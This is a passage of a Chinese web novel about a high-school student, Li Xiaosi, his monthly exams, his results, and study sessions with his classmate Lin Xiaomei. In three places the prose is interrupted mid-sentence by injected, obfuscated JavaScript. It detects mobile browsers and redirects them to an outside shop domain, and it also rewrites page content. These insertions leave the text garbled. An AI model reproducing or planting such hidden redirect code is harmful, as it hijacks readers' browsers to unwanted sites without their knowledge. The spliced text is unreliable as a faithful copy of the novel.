月考安排在十月九号和十号,考两天,九门科目全部上阵。语文、数学、英语、物理、化学、生物、政治、历史、地理,每一门都要考,每一门都要排名。李小四拿到考试安排表的时候,看着那张密密麻麻的时间表,觉得像一张战场地图——每一天、每一个时段、每一个考场,都标注得清清楚楚,什么时候进攻,什么时候撤退,什么时候冲锋。 “九门,”他自言自语,“考完得脱一层皮。” 林小美正在整理她的复习资料,把各科的笔记按科目分好,每一本都贴了标签。她的桌子上摆得整整齐齐,像一个即将出征的将军在清点兵器。 “你复习得怎么样了?”李小四问。 “还行。”林小美的回答永远是这个。 “什么叫还行?” “就是该看的都看了,该做的都做了。剩下的就看考场上发挥得怎么样。” 李小四看着她桌上的那一摞笔记本,每一本都写得满满当当,边角都用透明胶加固过,有些本子的封面已经磨得看不清原来的颜色。他想起自己的笔记本,有些科目的笔记才写了几页,有些科目甚至连笔记本都没有,知识点零零散散地记在课本的空白处,东一块西一块的,像打满补丁的衣服。 他忽然觉得自己复习得不够。 不是不够努力,是不够系统。他每天都在看书、做题,但他的复习是散的,想到哪儿看到哪儿,没有一个完整的计划。今天看数学,明天看物理,今天做两页题,明天看三页书,东一榔头西一棒子的,看起来很忙,但效果很差。 “林小美,你的复习计划能给我看看吗?” 林小美从文件夹里抽出一张纸,递给他。纸上写着她这半个月的复习安排,每一天每一科都分配了具体的时间,从早读到晚自习,从周一到周六,写得清清楚楚,像一张精密的地图。 李小四看着这张计划表,心里暗暗佩服。他不是佩服林小美能做出这样的计划,而是佩服她能坚持执行这样的计划。他也做过计划表,贴在墙上的那张就是,但执行了几天就坚持不下去了——今天太累了,明天再做吧;这道题太难了,先放一放吧;这科不想看了,换一科吧。计划永远是完美的,执行永远是打折的。 “你的计划做得真好。”他把纸还给林小美。 “做计划不难,”林小美说,“难的是按计划做。” “你怎么做到的?” 林小美想了想:“因为我没有别的选择。” 李小四愣了一下。他想问“你这话什么意思”,但他没有问。因为他大概知道答案——林小美没有别的选择,她不能偷懒,不能松懈,不能像他一样“明天再做”。她的奶奶在等她,她的未来在等她,她的那些没有说出口的梦想在等她。她只能往前走,不能停,更不能退。 他回到座位上,拿出一张空白的纸,开始写自己的复习计划。他写得没有林小美那么细,但比之前那张墙上的计划表务实了很多——不再规定自己“每天学习多少小时”,而是规定自己“每天完成哪些任务”。数学做一章的练习题,英语背三十个单词加复习两个语法点,物理整理三课的笔记,化学看一节的课本加做课后习题。 他把计划表夹在课本里,没有贴在墙上。贴墙上的太容易被忽略了,夹在课本里的,每次翻开都能看到。 考前的最后一周,李小四进入了“闭关”模式。 他每天早上六点十分起床,比平时早了二十分钟。洗漱之后先背二十分钟英语单词,吃早饭的时候也在背,一边嚼馒头一边默念。中午只睡十五分钟,闹钟一响就爬起来,做一篇英语阅读理解。晚自习回家之后不再像以前那样直接洗漱睡觉,而是再看半小时的数学错题,把之前做错的题目重新做一遍。 妈妈看出了他的变化,但没有说什么。她只是每天早上在桌上多放一个鸡蛋,晚上在他书桌上放一杯热牛奶,牛奶的温度刚刚好,不烫嘴也不凉,是他喝完就可以直接睡觉的那种温度。 有一天晚上,他正在做物理题,手机震了。是大壮发来的消息。 “小四,你们是不是要月考了?” “嗯,后天。” “那你好好考。我夜校也快期中考试了,电工理论考了三次,前两次都不及格,第三次刚过线。老师说我能过就不错了,我说我能过已经很好了,你不知道我刚开始的时候连电路图都看不懂。” 李小四看着这条消息,笑了。他想象大壮坐在夜校的教室里,面前摊着一张电路图,皱着眉头,用笔在上面画来画去的样子。那个画面有点好笑,但也让他觉得温暖——大壮在努力,他也在努力,他们不在同一个地方,不在同一条路上,但他们都在往前走。 “大壮,你一定会考过的。”他回。 “那当然。你也是。” 月考前一天晚上,李小四躺在床上,翻来覆去睡不着。 他把明天要考的科目在心里过了一遍。上午语文,下午物理和化学。语文他不太担心,作文有沈老师指导过几次,比初中进步了不少;阅读理解也有了一些方法,不再像以前那样凭感觉瞎蒙。物理和化学他有些没底,尤其是物理,运动的描述那几节他觉得自己看懂了,但一做题就容易出错,不是公式记混了就是单位换算错了。 他拿起手机,想给林小美发条消息,但看了看时间,十一点了,她应该已经睡了。他放下手机,闭上眼睛,强迫自己数羊。数到六十七只的时候,脑子里忽然冒出一个物理公式——加速度a等于速度变化量除以时间变化量,单位是米每二次方秒。然后他就不数羊了,开始默念物理公式。念着念着,不知道什么时候就睡着了。 十月九号,月考第一天。 李小四到学校的时候,校门口比平时安静了很多。没有人在打闹,没有人在大声说笑,每个人都背着书包,表情严肃,步履匆匆。有几个住校生蹲在花坛边,手里拿着课本,在做最后的复习,书页在晨风里哗哗地翻,他们用胳膊肘压住,继续看。 考场是按上次军训时的临时班级排的,李小四被分到了三楼的第三个考场。他找到自己的座位,靠窗第二排,桌面平整,椅子不晃,阳光从窗户照进来,刚好照在他的试卷上。 第一场是语文。 试卷发下来的时候,李小四的心跳比平时快了一些。他深吸一口气,闭上眼睛,在心里默念了三遍“沉着冷静,认真审题”——这是马老师教他的,虽然马老师不在考场里,但这句话在,就够用了。 他睁开眼睛,开始答题。 基础知识部分做得很顺,古诗词默写都是他背过的,《劝学》里的“青,取之于蓝,而青于蓝”,《师说》里的“闻道有先后,术业有专攻”,写的时候笔尖在纸上沙沙地响,很流畅。文言文阅读是《赤壁赋》的节选,苏轼写的,他在暑假的时候读过,虽然有些地方记得不太清楚,但大意是懂的。阅读理解是一篇散文,讲的是故乡的老街,文字很美,带着一种淡淡的忧伤,题目不难,他做完之后检查了一遍,没有发现明显的错误。 作文题目是“在路上”。 三个字,没有更多的说明。 李小四盯着这三个字看了大概半分钟,脑子里闪过很多画面。初中的路,从38分到98分的那条路。高中的路,刚走了一个月,还不知道前面是什么样。大壮的路,在天津的夜校里,对着电路图皱眉头的路。妈妈的路,每天早上骑电动车去超市,晚上拖着疲惫的身体回来的路。 他提起笔,在第一行写下了题目:“在路上”。 “每个人都在路上。我的路是从38分开始的。” 他写了初一的那个秋天,写了那张38分的数学试卷,写了妈妈在饭桌上的眼泪,写了姐姐深夜一条接一条的语音。他写了马老师给的那本卷了边的练习册,写了林小美给他的那些橘子,写了王大壮站在路灯下挥手的样子。他写得很快,笔尖几乎是在纸上跑,字迹有些潦草,但每一个字都是从心里流出来的,不是想出来的。 写到结尾的时候,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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大题他一道一道地做,能写多少写多少。有一道关于自由落体运动的题目,他算了三遍,每一遍答案都不一样,最后选了第二遍的答案,因为那个答案看起来最顺眼。他不知道自己这种选择方式有没有科学依据,但当时他实在没有更好的办法了。 化学相对简单一些,大部分题目他都会做,只有最后一道实验题有点绕,他读了三遍才读懂题目在问什么。读懂之后发现其实不难,就是物质的量浓度和溶液配制的计算,他暑假的时候预习过这一节,还有点印象。 考完最后一科,他从考场出来,天已经快黑了。十月的天黑得比九月早,六点钟的时候太阳就已经落山了,天边只剩下一抹暗红色的余晖。他站在教学楼的台阶上,看着远处的天空,深深地吸了一口气。空气里有桂花的香味,甜甜的,浓浓的,像是有人把一整瓶香水打翻在了风里。 林小美不知道什么时候站在了他旁边。 “考完了。”她说。 “考完了。”他说。 “你觉得怎么样?” “不知道。物理有点难。” “我也觉得物理难。” 李小四转过头看着她。林小美说“难”的时候,脸上有一种他很少见到的表情——不是沮丧,不是焦虑,而是一种“我也遇到了困难”的坦诚。她平时很少说难,很少说不会,很少说自己不行。但今天她说“我也觉得物理难”,像是在告诉他——你遇到的困难,我也遇到了;你感到的压力,我也感受到了。 李小四忽然觉得轻松了一些。 不是因为物理不难了,而是因为有人跟他一样觉得难。这种“一样”的感觉很奇怪,它不会改变任何事实,但它会让你觉得自己不是一个人在面对那些困难。 “走吧,”林小美说,“回家吃饭。” “嗯。” 他们一起走出校门,一个往左,一个往右。路灯已经亮了,橘黄色的光洒在路面上,把他们的影子拉得很长。李小四骑上电动车,拧了一下油门,车子慢慢地往前开。夜风吹在脸上,凉飕飕的,吹散了考场里积攒了一整天的闷热。 他经过烤肠摊的时候,老板正在收摊。他没有停下来。他今天不想吃烤肠,他想吃妈妈做的饭。 回到家,妈妈已经把饭菜端上桌了。红烧鱼、清炒时蔬、番茄蛋花汤,都是他爱吃的。她坐在餐桌对面,手里捧着一杯水,看着他吃。 “考得怎么样?”她问。 “还行。物理有点难。” “难大家都难,没事的。” 李小四夹了一块鱼,放进嘴里,慢慢地嚼。鱼肉很嫩,很鲜,带着姜丝和葱花的香味。他嚼着嚼着,忽然觉得鼻子有点酸。 “妈,”他说,“如果我没考好,你不要失望。” 妈妈愣了一下,然后笑了:“你考什么样妈都不失望。你努力了就行。” 李小四低下头,扒了一大口饭,把那句“谢谢你”和着米饭一起咽了下去。 22. 成绩与柠檬水 月考成绩在考完后的第三天出来了。 那天是周五,上午第二节课后,沈老师拿着一张打印好的成绩单走进教室。她的表情很平静,看不出是高兴还是不高兴,但李小四注意到她进门的时候步子比平时快了一些,这让他觉得成绩应该不会太差。 “月考成绩出来了,”沈老师把成绩单放在讲台上,没有马上念,而是先说了几句话,“这是你们高中第一次大考,考得好不好都不代表什么。考得好的不要骄傲,考得不好的不要气馁。高中还有三年,一场考试说明不了问题。” 她说完之后,开始念成绩。 她念的是总分排名,从高到低。第一名是林小美,总分八百七十六分,年级第三十一名。念到这个名字的时候,教室里响起一阵低低的惊叹声。林小美坐在座位上,表情没有什么变化,好像在听一个跟自己无关的名字。 李小四的心跳加快了。他竖起耳朵,一个一个地听。第二名,第三名,第四名……每念一个名字,他的心就往下沉一点。前十名没有他,前二十名也没有他,前三十名念到一半的时候,他几乎已经放弃了希望。 “第二十八名,李小四,总分七百九十二分。” 他愣了一下。七百九十二分,班级第二十八名。全班五十二个人,他排在中间靠后的位置。这个成绩不算好,但也不算太差。比他预想的要好一些——他以为自己在三十名开外。 沈老师念完所有成绩之后,把成绩单贴在了公告栏上。同学们一下子围了上去,李小四也挤过去,找到了自己的名字。他仔细看了看各科的分数:语文八十七,数学九十一,英语七十一,物理七十八,化学八十三,生物八十一,政治七十六,历史七十九,地理七十六。 英语七十一分,是所有科目里最低的。物理七十八分,倒数第二。 他看着这两个分数,心里有些发沉。英语一直是他的弱项,初中就弱,到了高中还是弱。他以为自己已经努力了,但成绩告诉他,努力得还不够。物理是他没想到的——他觉得自己物理复习得还可以,上课也认真听了,作业也认真做了,但分数出来只有七十八。他不知道问题出在哪里。 林小美站在他旁边,也在看成绩单。她的目光从上到下扫了一遍,然后停在了一个位置。李小四顺着她的目光看过去,是班级第五十一名,总分五百六十八分,比第一名低了三百多分。那个名字他不太熟悉,是一个女生,平时坐在教室的最后一排,不怎么说话,也不怎么跟人来往。 “你在看什么?”李小四问。 “没什么。”林小美收回目光,转身回到座位上。 但李小四觉得她看那个名字的眼神不太一样。不是同情,也不是好奇,而是一种他形容不出的东西——像是看到了一面镜子,里面照出的是另一种可能的自己。 他不敢多问。 下午放学的时候,沈老师把李小四叫到了办公室。 还是那间靠窗的办公室,桌上的绿萝又长出了几片新叶子,嫩绿色的,卷曲着,像婴儿攥紧的拳头。沈老师坐在椅子上,手里拿着他的成绩单,正用红笔在上面画着什么。 “坐吧。”她说。 李小四坐下,书包放在脚边,两只手放在膝盖上,像个等待医生诊断的病人。 “你的总分七百九十二,班级二十八名,年级三百多名。”沈老师把成绩单转过来给他看,“这个成绩怎么说呢,不算差,但也不算好。上普通大学够了,但你想上的那种很远的大学,还不够。” 李小四点了点头。 “你看你的成绩,数学九十一,很好。语文八十七,也不错。生物、化学都在八十分以上,说明你的理科基础是扎实的。但英语七十一,物理七十八,这两科拖了你的后腿。”沈老师用红笔把这两个分数圈了出来,“英语和物理,一个是语言,一个是逻辑,看起来不相关,但有一个共同点——都需要持续的积累。英语不能突击,物理不能死记。你要在这两科上多花时间,但不是那种‘今天学五个小时明天不学了’的时间,而是每天一点、每天一点,坚持不断的那种时间。” 李小四把沈老师的话记在了心里。 “另外,”沈老师放下红笔,靠在椅背上,“你有没有想过以后学文科还是理科?” 李小四摇了摇头。他确实没想过。初中的时候他只知道要考上一中,考上一中之后要考上大学,但考上大学之后学什么、做什么,他从来没有认真想过。 “你现在还早,不用急着决定。但你可以开始观察自己——你更擅长什么?更喜欢什么?你以后想过什么样的生活?”沈老师看着他,“这些问题没有标准答案,但你需要自己去找。” 从办公室出来的时候,走廊上空空荡荡的,夕阳从西边的窗户照进来,把整条走廊染成了橘红色。李小四走在光里,脚步声在空旷的走廊里回荡,一下一下的,像心跳。 他走到楼梯口的时候,遇到了林小美。 她站在楼梯拐角处,手里拿着一本书,正在看。不是课本,是一本小说,封面是一个女人的侧脸,头发被风吹起来,遮住了半张脸。她看得很专注,连李小四走近了都没有察觉。 “林小美。” 她抬起头,合上书。 “你怎么还没走?”李小四问。 “等你。” “等我?” “沈老师找你谈话,我知道。”她把书塞进书包里,“想问问你说了什么。” 他们一起走下楼梯,脚步声在楼道里一重一轻地响着。李小四把沈老师说的话复述了一遍,英语和物理要多花时间,要坚持,不能突击。林小美听着,没有插话,走到一楼的时候才开口。 “英语我可以帮你,”她说,“物理你得自己想办法。” “物理我也不是学不会,就是有时候搞不清楚方向。” “方向是最重要的,”林小美说,“物理搞不清方向,就像走路不知道往哪走。你走得再快也没有用。” 李小四觉得这句话说得真好,好到他觉得应该把它记下来。 “你周末有时间吗?”林小美问。 “有。” “那还去奶茶店。我给你讲英语,你给我讲什么?” “我给你讲笑话?” 林小美白了他一眼:“你给我讲数学吧。我数学这次只考了八十八,比你还低三分。” 李小四愣了一下。林小美的数学八十八?他一直以为林小美的数学至少九十五分以上。他看着她,想从她脸上找到“我考砸了”的表情,但她的脸上什么都没有,平静得像一潭水。 “你不难过?”他问。 “难过有什么用?”林小美说,“知道了哪里不会,下次把它学会就行了。” 李小四想说“你真厉害”,但话到嘴边变成了“你真冷静”。林小美看了他一眼,嘴角弯了一下,那个笑容很淡,但很真。 “走吧,”她说,“柠檬水你请。” “为什么又是我请?” “因为你考了二十八名,我考了第一名。第一名应该被请。” 李小四觉得这个逻辑好像不太对,但他没有反驳。他跨上电动车,林小美骑上自行车,两个人一前一后地出了校门。夕阳在他们身后慢慢地沉下去,把整条街道染成了橘红色,连空气都像是甜的。 周六下午,奶茶店。 李小四到的时候,林小美已经在里面了。她还是坐在靠窗的位置,面前放着两杯柠檬水,一杯已经喝了一小半,另一杯还满着,杯壁上凝着细密的水珠,在午后的阳光里亮晶晶的。 “那杯是我的?”李小四指了指那杯没动过的柠檬水。 “不然呢?” 李小四坐下,拿起柠檬水喝了一口。很凉,很酸,酸得他皱了一下眉头,但酸过之后有一丝甜,从舌尖一直蔓延到喉咙。他把杯子放下,从书包里掏出英语课本和笔记本。 “今天讲什么?”他问。 “讲你错得最多的。”林小美从她的文件夹里抽出一张纸,上面密密麻麻地写满了字,“我看了你的英语试卷,你错得最多的是阅读理解。七选五你错了三个,阅读理解四篇你错了七道题。” 李小四的脸有点热。他知道自己英语不好,但被林小美一条一条地列举出来,还是觉得有点丢人。 “你知道阅读理解为什么错吗?”林小美问。 “看不懂。” “不是看不懂,是不会找信息。”林小美把一张打印好的文章推到他面前,“你试试这篇。先看题目,再去文章里找答案。不要先读文章,先读题。” 李小四按照她的方法,先看了题目,再去文章里找对应的信息。他找得很慢,但找到之后发现答案确实在文章里,不需要读懂每一个词,只需要找到关键的那一两句话。 “第一题选什么?”林小美问。 “B。” “为什么?” “因为文章第二段第三行说……” “你不要告诉我第几行,告诉我内容。” 李小四把那个句子读了一遍,大意是说明,选B是因为文章里提到了这个意思。林小美点了点头,没有说对,也没有说不对,只是说“继续”。 他做了四篇阅读理解,每一篇都用这个方法。前两篇做得慢,有些题目还是找不到答案,林小美就在旁边提示他——“看第三段”“注意第一句话”“这里有个转折词”。后两篇做得快了一些,他开始能自己找到信息了,虽然有些题目还是选错了,但错的比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444072|201071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之前少了。 “有进步。”林小美说。 “真的?” “真的。但你词汇量还是太小。很多词你不认识,就算找到了信息也读不懂。”她从书包里掏出一本单词书,很薄,封面已经有些磨损了,“这是我初中用的,一千六百个核心词汇。你每天背二十个,两个月背完。背完之后你的阅读至少能提高十分。” 李小四接过那本单词书,翻了翻。每一页都有林小美的笔迹,有些单词旁边写了例句,有些画了简单的图示,有些用荧光笔标了重点。他看着那些密密麻麻的笔记,仿佛看到了初中的林小美——坐在书桌前,一盏台灯,一本单词书,一支笔,一个人。那时候她还没有遇到他,她还不知道高中会坐在哪个教室,会遇到什么人。她只是在安静地、日复一日地,做着她认为应该做的事。 “谢谢你。”李小四说。 “不客气。”林小美端起柠檬水喝了一口,“你数学笔记带了吗?” “带了。” “给我讲讲集合的运算。我补集的概念有点模糊。” 李小四翻开数学笔记本,找到集合那一章。他看着自己画的那些圈圈叉叉,忽然觉得有点不好意思——他的笔记跟林小美的比起来,简直是天壤之别。字迹潦草,逻辑混乱,有些地方他自己都看不懂写了什么。 “你这是什么字?”林小美指着他笔记本上的一行字。 “补集。” “这哪里像补集?” “就是补集嘛,你看,这个是‘补’字,这个是‘集’字。” 林小美看了半天,最后放弃了:“你念给我听吧。你的字我看不懂。” 李小四笑了,把笔记本合上,从书包里拿出数学课本。“还是看课本吧,课本上的字你能看懂。” 他用课本给林小美讲补集。他讲得很慢,因为他自己也不是特别熟练,每讲一个概念都要想一下才能说清楚。但正是这种“要想一下”的过程,让他发现自己其实比想象中懂得多。有些东西他以为自己不懂,但讲着讲着就懂了;有些东西他以为自己懂了,但讲着讲着发现其实没懂。林小美不打断他,等他讲完之后才提问。 “你说补集是全集里去掉子集之后剩下的部分,那如果子集本身就是全集,补集是什么?” “空集。” “如果子集是空集呢?” “补集就是全集。” “对了。” 林小美在笔记本上写了几行字,写完之后抬起头,看着李小四。 “你讲得比王老师清楚。” “不可能,”李小四说,“王老师是老师,我是学生。” “王老师讲得太快,你讲得慢。”林小美说,“慢的比快的好懂。” 李小四想了想,觉得这个道理好像也对。慢的比快的好懂,少的比多的好记,简单的比复杂的好用。这些道理很简单,但他以前从来没有想过。 他们在奶茶店待了将近三个小时。讲完英语讲数学,讲完数学又讲了物理。李小四给林小美讲了他月考物理试卷上的一道错题——关于加速度的方向,他当时做错了,后来看了答案才明白。他讲的时候,林小美一直皱着眉头,听到一半忽然说了一句“我知道了”,然后在草稿纸上刷刷刷地写了几行推导,推给李小四看。 李小四看了那几行推导,觉得比自己刚才讲的清楚多了。 “你这不是会了吗?”他说,“你还要我讲?” “我听你讲的时候才想通的。”林小美说,“有些东西自己看半天看不懂,听别人讲一遍就懂了。” 李小四觉得这句话也可以反过来——有些东西自己以为懂了,给别人讲一遍才发现其实没懂。讲课这件事,不只是教别人,也是教自己。 傍晚的时候,他们从奶茶店出来。太阳已经落山了,天边还剩一抹橘红色的余晖,路灯还没有亮,街道上笼罩着一种介于白天和黑夜之间的灰蓝色光线。 “下周还来吗?”林小美问。 “来。” “那下周六,还是这个时间。” “好。” 林小美骑上她的自行车,走了。李小四站在奶茶店门口,手里拿着那本林小美借给他的单词书,封面已经磨损了,边角有些卷曲,书页泛着淡淡的黄色。他把单词书放进书包里,拉好拉链,拍了拍。 他骑上电动车,往家的方向开。夜风吹在脸上,凉飕飕的,带着桂花的香味。他深深地吸了一口气,觉得这个秋天真好。 不是因为它不冷不热,不是因为它有桂花香,而是因为在这个秋天里,他知道自己要去哪里,知道旁边有人跟他一起走。虽然他们去的方向不一定相同,但至少这一段路,他们是同行的。 这就够了。 23. 温馨的日常 月考之后的日子,像是被人调慢了速度。 不是真的慢了,课还是那么多,作业还是那么厚,黑板上的倒计时还是每天在减少——沈老师不知道什么时候在黑板右上角写下了“距期末考试还有XX天”,那个数字一天一天地变小,比中考倒计时还让人心慌。但节奏确实不一样了。月考像一道分水岭,把九月那种兵荒马乱的紧张和对新环境的不安隔在了另一边,剩下的是渐渐沉淀下来的、日复一日的平静。 李小四开始习惯高中的生活了。 习惯每天早读前站在走廊上背单词,背到上课铃响才进教室。习惯王老师飞快的语速和漂亮的板书,习惯在听不懂的时候先在笔记本上画个问号,课后再去问林小美。习惯食堂里永远排长队的窗口和永远不太热的饭菜,习惯中午趴在课桌上睡十五分钟,醒来的时候脸上印着课本的折痕。习惯晚自习放学后骑电动车回家,夜风吹在脸上,凉飕飕的,路灯一盏一盏地从头顶掠过,像一条没有尽头的隧道。 这些习惯不是一天养成的,是每一天重复、再重复,慢慢长在身体里的。 十月中旬的一个早晨,李小四到教室的时候,发现自己的座位上放了一个橘子。 橘子不大,橙黄色的,表皮光滑,带着几片绿色的叶子,看起来很新鲜。他拿起橘子闻了闻,有一股淡淡的清香。他转过头看林小美,林小美正低着头在看书,好像什么都没发生。 “这是你放的?”他问。 “什么?”林小美抬起头,表情无辜得有点刻意。 “这个橘子。” “哦,那个啊,”她看了一眼橘子,又低下头,“我妈昨天买的,太多了吃不完,给你带一个。” 李小四没有拆穿她。林小美的妈妈已经不在了,这件事他初一就知道。她说“我妈买的”,大概是因为她不想让他知道橘子是她特意带的,也许是不想让他觉得欠她人情,也许只是习惯了用这种平淡的语气来掩饰那些她不想让别人看到的东西。 他把橘子放进桌斗里,没有吃。他想留到中午再吃,或者留到一个更需要甜味的时刻。 上午第二节课下课,有十五分钟的大课间。李小四趴在桌上补了一会儿觉,昨晚做物理题做到十一点半,眼睛一闭就睁不开了。他睡得不太沉,能听到教室里同学说话的声音,能听到走廊上有人跑过,能听到远处操场上体育老师吹哨子的声音。那些声音像水一样从他身上流过,没有留下痕迹。 “李小四,李小四。” 有人在叫他。他迷迷糊糊地抬起头,看到刘洋站在他面前,手里拿着一个篮球。 “打不打球?操场上人少,正好打半场。” 李小四看了看窗外的操场,阳光很好,风也不大,确实是个打球的好天气。他犹豫了一下,看了看桌斗里还没做的物理卷子,又看了看刘洋手里的篮球,最后还是站了起来。 “走,打一会儿。” 操场上确实人不多。有几个高二的在跑道上踢足球,有两个女生在跑道边散步聊天,还有一个老人在操场外面遛狗——大概是附近小区的居民,趁学校上课的时候进来溜达。李小四跟刘洋和另外两个男生打了半场,二对二,谁先得十分谁赢。李小四的篮球技术一般,投籃不准,但跑得快,抢篮板积极,打了几轮下来,出了一身汗,浑身舒坦。 “你体力比以前好了。”刘洋说。 “天天被你拉出来打球,能不好吗?” 刘洋笑了,把球扔给他:“再来一局。” 第四局打到一半的时候,上课铃响了。几个人抱起球往教室跑,李小四跑在最后面,球鞋踩在塑胶跑道上发出吱吱的声响。他跑过操场边的那排银杏树时,发现树叶已经开始变黄了。不是整片变黄,是叶子的边缘先黄,中间还是绿的,像镶了一道金边。再过几周,这些叶子就会全部变黄,然后一片一片地落下来,铺满整条跑道。 他忽然很想把这片银杏叶的样子记下来。不是拍照,是用眼睛看,用脑子记,记到心里去。等哪天写作文的时候,他可以把这片叶子写进去。 中午,李小四没有回家。 他端着餐盘在食堂里找位置,转了一圈,在靠墙的角落里看到了林小美。她一个人坐在那里,面前是一份白米饭和一碗紫菜蛋花汤。汤很清,紫菜和蛋花沉在碗底,看起来没什么油水。李小四走过去,在她对面坐下。 “你今天怎么又吃这么少?”他问。 “不饿。”林小美说。 “你每次都说‘不饿’。” “因为每次都不饿。” 李小四看了看自己的餐盘,今天打了糖醋排骨和清炒莴笋。他把餐盘往中间推了推,没有说话。林小美看了看那几块排骨,夹了一块小的,放进嘴里,慢慢地嚼。 “好吃吗?”李小四问。 “还行。” “你就不能换个词?每次都‘还行’。” 林小美想了想:“味道不错。” 李小四笑了。他低头吃饭,吃了几口,忽然想起桌斗里的那个橘子。他从口袋里掏出那个橘子,放在林小美面前。 “还给你。” 林小美看着橘子:“你不是吃了吗?” “没舍得吃。留到现在。” “一个橘子有什么舍不得的?” “你给的,就舍不得。” 林小美低下头,用筷子搅了搅碗里的汤,没有说话。但李小四看到她的耳朵红了,红得很明显,连头发都遮不住。他假装没有看到,低头继续吃饭。 吃完饭,两个人从食堂出来,经过操场边的那排银杏树。李小四停下来,指着最黄的那一片叶子说:“你看,那片叶子快掉了。” 林小美抬起头,顺着他的手指看过去。那片叶子长在树枝的最顶端,几乎全黄了,只有叶柄处还留着一小点绿色。风吹过来,它晃了晃,但没有掉。 “它还能撑几天。”林小美说。 “你怎么知道?” “因为它还在坚持。” 李小四看着那片叶子,又看了看林小美。她站在银杏树下,阳光透过树叶落在她脸上,斑斑驳驳的。她的表情很平静,但眼神里有一种他形容不出的东西——不是坚强,不是倔强,而是那种“还在坚持”的东西。就像那片叶子,风在吹它,秋天在催它,但它还在树枝上,还没有掉。 他忽然想说点什么,但又不知道该说什么。他转过身,往教学楼走。林小美跟在他后面,脚步声轻轻的,踩在落叶上,发出细碎的声响。 下午最后一节是自习课。 沈老师不在,林小美坐在讲台上维持纪律。她坐得很直,双手放在讲台上,面前摊着一本数学练习册,正在做题。她做得很专注,偶尔停下来想一想,然后继续写。教室里很安静,只有笔尖在纸上沙沙的声音和偶尔翻书的声音。 李小四在做物理卷子。月考之后,物理老师发了一套新的练习题,说是“巩固基础”,但题目一点都不基础,每道题都绕了好几个弯。他做到第三道大题的时候卡住了,想了十几分钟都没有头绪,急得抓耳挠腮。 他抬起头,看了一眼讲台上的林小美。她正在做题,眉头微微皱着,嘴唇抿成一条线。他不想打扰她,就把那道题圈了出来,打算下课后再问她。 他把物理卷子收起来,换成了英语单词书。林小美借给他的那本,一千六百个核心词汇,他已经背到第三百多个了。每天背二十个,复习二十个,反反复复,有些单词背了忘、忘了背,背了好几遍才记住。但记住的时候,那种感觉很好——像在一片漆黑的树林里点亮了一盏灯,虽然光不大,但足够照亮脚下的一小块地方。 他低着头背单词,嘴里默念着,手指在桌面上写写画画。同桌不在——李小四的同桌是一个叫王浩的男生,话不多,存在感很低,上课来下课走,跟谁都不太亲近——所以他把整张桌子都占用了,课本、笔记本、单词书、水杯,摆得乱七八糟的。 林小美从讲台上走下来,经过他的座位时停了一下。 “你背到哪儿了?” “三百一十。” “有不会的吗?” “有。这个‘available’,什么意思?” “可获得的,可用的。也有‘有空的’意思,比如说‘Are you available tonight?’,就是问你今晚有没有空。” 李小四把这个单词和例句写在笔记本上,写了两遍。 “林小美,你有没有觉得英语单词特别难背?” “一开始难,背多了就不难了。”林小美说,“跟认人一样,刚开始觉得每个人都长得一样,见多了就分得清了。” 李小四觉得这个比喻很贴切。他刚到高中的时候,觉得班里的每个人都差不多,分不清谁是谁。现在过了一个多月,他已经能叫出大部分人的名字了,有些人他甚至知道他们的习惯和性格——比如刘洋喜欢打篮球,陈屿白上课总是戴耳机,赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444073|201071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 磊数学很好但物理很一般。单词也是这样,见得多了,就认识了。 放学的时候,李小四在校门口遇到了张瑞。 张瑞推着自行车,车筐里放着一袋橘子,大概有七八个,橙黄橙黄的,在夕阳里很好看。他推了推眼镜,朝李小四咧嘴笑了笑。 “你买这么多橘子?”李小四问。 “我妈让我买的,说秋天吃橘子好,补充维生素。”张瑞从袋子里掏出两个,递给李小四,“给你,省得我驮回去,太重了。” 李小四接过橘子,笑了:“你不是说太重了吗?两个橘子能有多重?” “积少成多嘛。你帮我吃两个,我就少驮两个。”张瑞推了推眼镜,“对了,你们班那个林小美,是不是就是以前跟你同桌的那个?” “嗯。” “她学习是不是特别好?” “年级三十一名,你说好不好?” 张瑞吹了一声口哨:“厉害。长得也好看。” 李小四看了他一眼:“你见都没见过她几次,就知道她好看?” “见过啊,军训的时候见过。站在你们班最前面那个,对不对?扎马尾的。” 李小四没有说话。他把两个橘子装进书包里,跨上电动车。 “走了。”他说。 “走了走了。下周见。” 李小四骑电动车回家,经过奶茶店的时候,他停了一下。奶茶店的灯还亮着,里面坐着几个穿校服的学生,桌上摆着奶茶和作业,有人在低头写,有人在聊天。他隔着玻璃看了看,没有看到林小美。 他拧了一下油门,继续往前开。 到家的时候,妈妈正在阳台上收衣服。她把衣服一件一件地从衣架上取下来,抖一抖,叠好,放在旁边的椅子上。动作很熟练,像做了无数次一样熟练。 “妈,我回来了。” “饭在锅里,自己盛。” 李小四洗了手,去厨房盛了饭,端到餐桌前。今天的菜是青椒炒肉丝和炒南瓜,还有一碗萝卜汤。他一个人吃着,吃到一半的时候,妈妈走进来,在他对面坐下。 “小四,你爸下个月回来。” “他不是刚走没多久吗?” 